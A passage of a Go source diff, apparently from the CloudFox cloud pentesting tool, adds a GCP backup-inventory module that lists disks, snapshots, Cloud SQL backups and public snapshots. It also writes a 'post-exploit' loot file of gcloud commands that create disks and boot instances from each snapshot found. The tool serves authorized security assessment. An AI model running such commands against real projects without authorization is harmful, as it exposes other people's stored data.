Run: runGCPBackupInventoryCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Data Structures
|
||||
// ------------------------------
|
||||
|
||||
type BackupResource struct {
|
||||
ProjectID string
|
||||
Name string
|
||||
ResourceType string // compute-disk, cloudsql-instance
|
||||
Location string
|
||||
SizeGB int64
|
||||
Protected bool
|
||||
BackupType string // snapshot, automated, none
|
||||
Schedule string
|
||||
RetentionDays int
|
||||
LastBackup string
|
||||
BackupCount int
|
||||
BackupStatus string
|
||||
PITREnabled bool
|
||||
BackupLocation string
|
||||
}
|
||||
|
||||
type IAMBinding struct {
|
||||
Role string
|
||||
Members []string
|
||||
}
|
||||
|
||||
type ComputeSnapshot struct {
|
||||
ProjectID string
|
||||
Name string
|
||||
SourceDisk string
|
||||
Status string
|
||||
DiskSizeGB int64
|
||||
StorageBytes int64
|
||||
CreationTime string
|
||||
StorageLocats []string
|
||||
AutoCreated bool
|
||||
SnapshotType string
|
||||
IAMBindings []IAMBinding
|
||||
PublicAccess bool
|
||||
EncryptionType string
|
||||
KMSKeyName string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type BackupInventoryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectResources map[string][]BackupResource // projectID -> resources
|
||||
ProjectSnapshots map[string][]ComputeSnapshot // projectID -> snapshots
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
|
||||
// Tracking maps
|
||||
disksWithBackups map[string]bool
|
||||
sqlWithBackups map[string]bool
|
||||
allDisks map[string]diskInfo
|
||||
allSQLInstances map[string]sqlInstanceInfo
|
||||
}
|
||||
|
||||
type diskInfo struct {
|
||||
SizeGB int64
|
||||
Zone string
|
||||
ProjectID string
|
||||
Name string
|
||||
}
|
||||
|
||||
type sqlInstanceInfo struct {
|
||||
ProjectID string
|
||||
Region string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type BackupInventoryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BackupInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BackupInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPBackupInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &BackupInventoryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectResources: make(map[string][]BackupResource),
|
||||
ProjectSnapshots: make(map[string][]ComputeSnapshot),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
disksWithBackups: make(map[string]bool),
|
||||
sqlWithBackups: make(map[string]bool),
|
||||
allDisks: make(map[string]diskInfo),
|
||||
allSQLInstances: make(map[string]sqlInstanceInfo),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Inventorying backup configurations...", GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
|
||||
computeService, err := compute.NewService(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to create Compute service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
sqlService, err := sqladmin.NewService(ctx)
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to create SQL Admin service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
wg.Add(1)
|
||||
go func(project string) {
|
||||
defer wg.Done()
|
||||
m.processProject(ctx, project, computeService, sqlService, logger)
|
||||
}(projectID)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// Identify unprotected resources
|
||||
m.identifyUnprotectedResources()
|
||||
|
||||
allResources := m.getAllResources()
|
||||
allSnapshots := m.getAllSnapshots()
|
||||
|
||||
if len(allResources) == 0 && len(allSnapshots) == 0 {
|
||||
logger.InfoM("No backup data found", GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count protected vs unprotected
|
||||
protectedCount := 0
|
||||
unprotectedCount := 0
|
||||
for _, r := range allResources {
|
||||
if r.Protected {
|
||||
protectedCount++
|
||||
} else {
|
||||
unprotectedCount++
|
||||
}
|
||||
}
|
||||
|
||||
// Count public snapshots
|
||||
publicSnapshotCount := 0
|
||||
for _, s := range allSnapshots {
|
||||
if s.PublicAccess {
|
||||
publicSnapshotCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d resource(s): %d protected, %d unprotected, %d snapshot(s)",
|
||||
len(allResources), protectedCount, unprotectedCount, len(allSnapshots)), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
|
||||
if unprotectedCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d resource(s) without backup coverage", unprotectedCount), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
if publicSnapshotCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible snapshot(s)!", publicSnapshotCount), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getAllResources() []BackupResource {
|
||||
var all []BackupResource
|
||||
for _, resources := range m.ProjectResources {
|
||||
all = append(all, resources...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getAllSnapshots() []ComputeSnapshot {
|
||||
var all []ComputeSnapshot
|
||||
for _, snapshots := range m.ProjectSnapshots {
|
||||
all = append(all, snapshots...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) processProject(ctx context.Context, projectID string, computeService *compute.Service, sqlService *sqladmin.Service, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating backups for project: %s", projectID), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["backup-inventory-commands"] = &internal.LootFile{
|
||||
Name: "backup-inventory-commands",
|
||||
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// List all disks first (for gap analysis)
|
||||
m.enumerateDisks(ctx, projectID, computeService, logger)
|
||||
|
||||
// List snapshots
|
||||
m.enumerateSnapshots(ctx, projectID, computeService, logger)
|
||||
|
||||
// List SQL instances and backups
|
||||
if sqlService != nil {
|
||||
m.enumerateSQLBackups(ctx, projectID, sqlService, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) enumerateDisks(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
|
||||
req := computeService.Disks.AggregatedList(projectID)
|
||||
err := req.Pages(ctx, func(page *compute.DiskAggregatedList) error {
|
||||
for zone, diskList := range page.Items {
|
||||
if diskList.Disks == nil {
|
||||
continue
|
||||
}
|
||||
for _, disk := range diskList.Disks {
|
||||
m.mu.Lock()
|
||||
m.allDisks[disk.SelfLink] = diskInfo{
|
||||
SizeGB: disk.SizeGb,
|
||||
Zone: m.extractZoneFromURL(zone),
|
||||
ProjectID: projectID,
|
||||
Name: disk.Name,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate disks in project %s", projectID))
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) enumerateSnapshots(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
|
||||
req := computeService.Snapshots.List(projectID)
|
||||
err := req.Pages(ctx, func(page *compute.SnapshotList) error {
|
||||
for _, snapshot := range page.Items {
|
||||
// Determine encryption type and KMS key name
|
||||
encryptionType := "Google-managed"
|
||||
kmsKeyName := ""
|
||||
if snapshot.SnapshotEncryptionKey != nil {
|
||||
if snapshot.SnapshotEncryptionKey.KmsKeyName != "" {
|
||||
encryptionType = "CMEK"
|
||||
kmsKeyName = snapshot.SnapshotEncryptionKey.KmsKeyName
|
||||
} else if snapshot.SnapshotEncryptionKey.RawKey != "" || snapshot.SnapshotEncryptionKey.Sha256 != "" {
|
||||
encryptionType = "CSEK"
|
||||
}
|
||||
}
|
||||
|
||||
snap := ComputeSnapshot{
|
||||
ProjectID: projectID,
|
||||
Name: snapshot.Name,
|
||||
SourceDisk: snapshot.SourceDisk,
|
||||
Status: snapshot.Status,
|
||||
DiskSizeGB: snapshot.DiskSizeGb,
|
||||
StorageBytes: snapshot.StorageBytes,
|
||||
CreationTime: snapshot.CreationTimestamp,
|
||||
StorageLocats: snapshot.StorageLocations,
|
||||
AutoCreated: snapshot.AutoCreated,
|
||||
SnapshotType: snapshot.SnapshotType,
|
||||
EncryptionType: encryptionType,
|
||||
KMSKeyName: kmsKeyName,
|
||||
}
|
||||
|
||||
// Get IAM policy for this snapshot
|
||||
iamPolicy, iamErr := computeService.Snapshots.GetIamPolicy(projectID, snapshot.Name).Context(ctx).Do()
|
||||
if iamErr == nil && iamPolicy != nil {
|
||||
for _, binding := range iamPolicy.Bindings {
|
||||
snap.IAMBindings = append(snap.IAMBindings, IAMBinding{
|
||||
Role: binding.Role,
|
||||
Members: binding.Members,
|
||||
})
|
||||
// Check for public access
|
||||
for _, member := range binding.Members {
|
||||
if shared.IsPublicPrincipal(member) {
|
||||
snap.PublicAccess = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectSnapshots[projectID] = append(m.ProjectSnapshots[projectID], snap)
|
||||
m.disksWithBackups[snapshot.SourceDisk] = true
|
||||
|
||||
// Add post-exploit commands for snapshots
|
||||
if m.LootMap[projectID] != nil {
|
||||
if lootFile := m.LootMap[projectID]["backup-inventory-commands"]; lootFile != nil {
|
||||
// Determine a zone from storage locations or use a default
|
||||
zone := "us-central1-a"
|
||||
if len(snapshot.StorageLocations) > 0 {
|
||||
zone = snapshot.StorageLocations[0] + "-a"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# SNAPSHOT: %s (Source: %s, Size: %dGB)\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Create a disk from this snapshot\n"+
|
||||
"gcloud compute disks create disk-from-%s \\\n"+
|
||||
" --project=%s \\\n"+
|
||||
" --zone=%s \\\n"+
|
||||
" --source-snapshot=%s\n\n"+
|
||||
"# Create an instance using a disk from this snapshot\n"+
|
||||
"gcloud compute instances create instance-from-%s \\\n"+
|
||||
" --project=%s \\\n"+
|
||||
" --zone=%s \\\n"+
|
||||
" --disk=name=disk-from-%s,boot=yes\n\n",
|
||||
snapshot.Name, m.extractDiskName(snapshot.SourceDisk), snapshot.DiskSizeGb,
|
||||
snapshot.Name, projectID, zone, snapshot.Name,
|
||||
snapshot.Name, projectID, zone, snapshot.Name,
|
||||
)
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate snapshots in project %s", projectID))
|
||||
}
|
||||
|
||||
// Track protected resources from snapshots
|
||||
m.trackSnapshotProtection(projectID)
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) trackSnapshotProtection(projectID string) {
|
||||
m.mu.Lock()
|
||||
projectSnapshots := m.ProjectSnapshots[projectID]
|
||||
m.mu.Unlock()
|
||||
|
||||
// Group snapshots by source disk
|
||||
diskSnapshots := make(map[string][]ComputeSnapshot)
|
||||
for _, snap := range projectSnapshots {
|
||||
diskSnapshots[snap.SourceDisk] = append(diskSnapshots[snap.SourceDisk], snap)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
for diskURL, snaps := range diskSnapshots {
|
||||
// Find latest snapshot
|
||||
var latestTime time.Time
|
||||
var latestSnap ComputeSnapshot
|
||||
for _, snap := range snaps {
|
||||
t, err := time.Parse(time.RFC3339, snap.CreationTime)
|
||||
if err == nil && t.After(latestTime) {
|
||||
latestTime = t
|
||||
latestSnap = snap
|
||||
}
|
||||
}
|
||||
|
||||
diskInfo := m.allDisks[diskURL]
|
||||
backupStatus := latestSnap.Status
|
||||
|
||||
// Calculate age of last backup
|
||||
if !latestTime.IsZero() {
|
||||
age := time.Since(latestTime)
|
||||
if age > 7*24*time.Hour {
|
||||
backupStatus = "STALE"
|
||||
} else {
|
||||
backupStatus = "CURRENT"
|
||||
}
|
||||
}
|
||||
|
||||
resource := BackupResource{
|
||||
ProjectID: projectID,
|
||||
Name: m.extractDiskName(diskURL),
|
||||
ResourceType: "compute-disk",
|
||||
Location: diskInfo.Zone,
|
||||
SizeGB: diskInfo.SizeGB,
|
||||
Protected: true,
|
||||
BackupType: "snapshot",
|
||||
LastBackup: latestSnap.CreationTime,
|
||||
BackupCount: len(snaps),
|
||||
BackupStatus: backupStatus,
|
||||
BackupLocation: strings.Join(latestSnap.StorageLocats, ","),
|
||||
}
|
||||
|
||||
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) enumerateSQLBackups(ctx context.Context, projectID string, sqlService *sqladmin.Service, logger internal.Logger) {
|
||||
instances, err := sqlService.Instances.List(projectID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate SQL instances in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, instance := range instances.Items {
|
||||
m.mu.Lock()
|
||||
m.allSQLInstances[instance.Name] = sqlInstanceInfo{
|
||||
ProjectID: projectID,
|
||||
Region: instance.Region,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Check backup configuration
|
||||
backupEnabled := false
|
||||
pitrEnabled := false
|
||||
var retentionDays int
|
||||
var backupStartTime string
|
||||
|
||||
if instance.Settings != nil && instance.Settings.BackupConfiguration != nil {
|
||||
backupEnabled = instance.Settings.BackupConfiguration.Enabled
|
||||
pitrEnabled = instance.Settings.BackupConfiguration.PointInTimeRecoveryEnabled
|
||||
retentionDays = int(instance.Settings.BackupConfiguration.TransactionLogRetentionDays)
|
||||
backupStartTime = instance.Settings.BackupConfiguration.StartTime
|
||||
}
|
||||
|
||||
if backupEnabled {
|
||||
m.mu.Lock()
|
||||
m.sqlWithBackups[instance.Name] = true
|
||||
m.mu.Unlock()
|
||||
|
||||
// List actual backups for this instance
|
||||
backups, err := sqlService.BackupRuns.List(projectID, instance.Name).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var latestBackupTime string
|
||||
var latestStatus string
|
||||
var latestLocation string
|
||||
backupCount := 0
|
||||
|
||||
for _, backup := range backups.Items {
|
||||
backupCount++
|
||||
if latestBackupTime == "" || backup.StartTime > latestBackupTime {
|
||||
latestBackupTime = backup.StartTime
|
||||
latestStatus = backup.Status
|
||||
latestLocation = backup.Location
|
||||
}
|
||||
}
|
||||
|
||||
resource := BackupResource{
|
||||
ProjectID: projectID,
|
||||
Name: instance.Name,
|
||||
ResourceType: "cloudsql-instance",
|
||||
Location: instance.Region,
|
||||
Protected: true,
|
||||
BackupType: "automated",
|
||||
Schedule: fmt.Sprintf("Daily at %s", backupStartTime),
|
||||
RetentionDays: retentionDays,
|
||||
LastBackup: latestBackupTime,
|
||||
BackupCount: backupCount,
|
||||
BackupStatus: latestStatus,
|
||||
PITREnabled: pitrEnabled,
|
||||
BackupLocation: latestLocation,
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Gap Analysis
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) identifyUnprotectedResources() {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
// Find disks without snapshots
|
||||
for diskURL, info := range m.allDisks {
|
||||
if !m.disksWithBackups[diskURL] {
|
||||
resource := BackupResource{
|
||||
ProjectID: info.ProjectID,
|
||||
Name: info.Name,
|
||||
ResourceType: "compute-disk",
|
||||
Location: info.Zone,
|
||||
SizeGB: info.SizeGB,
|
||||
Protected: false,
|
||||
BackupType: "none",
|
||||
}
|
||||
|
||||
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
|
||||
|
||||
// Add to loot (ensure project loot is initialized)
|
||||
if m.LootMap[info.ProjectID] == nil {
|
||||
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
|
||||
Name: "backup-inventory-commands",
|
||||
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
// No loot commands for unprotected disks - these are informational only
|
||||
}
|
||||
}
|
||||
|
||||
// Find SQL instances without backups
|
||||
for instanceName, info := range m.allSQLInstances {
|
||||
if !m.sqlWithBackups[instanceName] {
|
||||
resource := BackupResource{
|
||||
ProjectID: info.ProjectID,
|
||||
Name: instanceName,
|
||||
ResourceType: "cloudsql-instance",
|
||||
Location: info.Region,
|
||||
Protected: false,
|
||||
BackupType: "none",
|
||||
}
|
||||
|
||||
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
|
||||
|
||||
// Add to loot (ensure project loot is initialized)
|
||||
if m.LootMap[info.ProjectID] == nil {
|
||||
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
|
||||
Name: "backup-inventory-commands",
|
||||
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
// No loot commands for unprotected SQL instances - these are informational only
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Helper Functions
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) extractDiskName(url string) string {
|
||||
parts := strings.Split(url, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return url
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) extractZoneFromURL(url string) string {
|
||||
if strings.Contains(url, "zones/") {
|
||||
parts := strings.Split(url, "/")
|
||||
for i, part := range parts {
|
||||
if part == "zones" && i+1 < len(parts) {
|
||||
return parts[i+1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) extractRegionFromZone(zone string) string {
|
||||
if zone == "" {
|
||||
return ""
|
||||
}
|
||||
// Zone format: us-central1-a -> Region: us-central1
|
||||
parts := strings.Split(zone, "-")
|
||||
if len(parts) >= 2 {
|
||||
return strings.Join(parts[:len(parts)-1], "-")
|
||||
}
|
||||
return zone
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getResourcesHeader() []string {
|
||||
return []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"Resource",
|
||||
"Type",
|
||||
"Location",
|
||||
"Size (GB)",
|
||||
"Protected",
|
||||
"Backup Type",
|
||||
"Schedule",
|
||||
"Retention",
|
||||
"Last Backup",
|
||||
"Count",
|
||||
"Status",
|
||||
"PITR",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getSnapshotsHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Snapshot",
|
||||
"Source Disk",
|
||||
"Size (GB)",
|
||||
"Created",
|
||||
"Status",
|
||||
"Type",
|
||||
"Auto Created",
|
||||
"Locations",
|
||||
"Encryption",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Public",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) resourcesToTableBody(resources []BackupResource) [][]string {
|
||||
var body [][]string
|
||||
for _, r := range resources {
|
||||
protectedStr := "No"
|
||||
if r.Protected {
|
||||
protectedStr = "Yes"
|
||||
}
|
||||
|
||||
pitrStr := "No"
|
||||
if r.PITREnabled {
|
||||
pitrStr = "Yes"
|
||||
}
|
||||
|
||||
retentionStr := ""
|
||||
if r.RetentionDays > 0 {
|
||||
retentionStr = fmt.Sprintf("%d days", r.RetentionDays)
|
||||
}
|
||||
|
||||
sizeStr := ""
|
||||
if r.SizeGB > 0 {
|
||||
sizeStr = fmt.Sprintf("%d", r.SizeGB)
|
||||
}
|
||||
|
||||
countStr := ""
|
||||
if r.BackupCount > 0 {
|
||||
countStr = fmt.Sprintf("%d", r.BackupCount)
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
r.ProjectID,
|
||||
m.GetProjectName(r.ProjectID),
|
||||
r.Name,
|
||||
r.ResourceType,
|
||||
r.Location,
|
||||
sizeStr,
|
||||
protectedStr,
|
||||
r.BackupType,
|
||||
r.Schedule,
|
||||
retentionStr,
|
||||
r.LastBackup,
|
||||
countStr,
|
||||
r.BackupStatus,
|
||||
pitrStr,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) snapshotsToTableBody(snapshots []ComputeSnapshot) [][]string {
|
||||
var body [][]string
|
||||
for _, s := range snapshots {
|
||||
autoCreatedStr := "No"
|
||||
if s.AutoCreated {
|
||||
autoCreatedStr = "Yes"
|
||||
}
|
||||
|
||||
publicAccess := "No"
|
||||
if s.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
// Format encryption - show KMS key name if CMEK
|
||||
encryptionDisplay := s.EncryptionType
|
||||
if s.EncryptionType == "CMEK" && s.KMSKeyName != "" {
|
||||
// Extract just the key name from the full path for display
|
||||
// Format: projects/PROJECT/locations/LOCATION/keyRings/RING/cryptoKeys/KEY
|
||||
keyParts := strings.Split(s.KMSKeyName, "/")
|
||||
if len(keyParts) >= 2 {
|
||||
encryptionDisplay = fmt.Sprintf("CMEK (%s)", keyParts[len(keyParts)-1])
|
||||
}
|
||||
}
|
||||
|
||||
// If no IAM bindings, still show the snapshot
|
||||
if len(s.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(s.ProjectID),
|
||||
s.Name,
|
||||
m.extractDiskName(s.SourceDisk),
|
||||
fmt.Sprintf("%d", s.DiskSizeGB),
|
||||
s.CreationTime,
|
||||
s.Status,
|
||||
s.SnapshotType,
|
||||
autoCreatedStr,
|
||||
strings.Join(s.StorageLocats, ","),
|
||||
encryptionDisplay,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
// One row per member per role
|
||||
for _, binding := range s.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(s.ProjectID),
|
||||
s.Name,
|
||||
m.extractDiskName(s.SourceDisk),
|
||||
fmt.Sprintf("%d", s.DiskSizeGB),
|
||||
s.CreationTime,
|
||||
s.Status,
|
||||
s.SnapshotType,
|
||||
autoCreatedStr,
|
||||
strings.Join(s.StorageLocats, ","),
|
||||
encryptionDisplay,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if resources, ok := m.ProjectResources[projectID]; ok && len(resources) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "backup-inventory",
|
||||
Header: m.getResourcesHeader(),
|
||||
Body: m.resourcesToTableBody(resources),
|
||||
})
|
||||
}
|
||||
|
||||
if snapshots, ok := m.ProjectSnapshots[projectID]; ok && len(snapshots) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "backup-snapshots",
|
||||
Header: m.getSnapshotsHeader(),
|
||||
Body: m.snapshotsToTableBody(snapshots),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectResources {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectSnapshots {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BackupInventoryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allResources := m.getAllResources()
|
||||
allSnapshots := m.getAllSnapshots()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allResources) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "backup-inventory",
|
||||
Header: m.getResourcesHeader(),
|
||||
Body: m.resourcesToTableBody(allResources),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allSnapshots) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "backup-snapshots",
|
||||
Header: m.getSnapshotsHeader(),
|
||||
Body: m.snapshotsToTableBody(allSnapshots),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BackupInventoryOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,446 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
beyondcorpservice "github.com/BishopFox/cloudfox/gcp/services/beyondcorpService"
|
||||
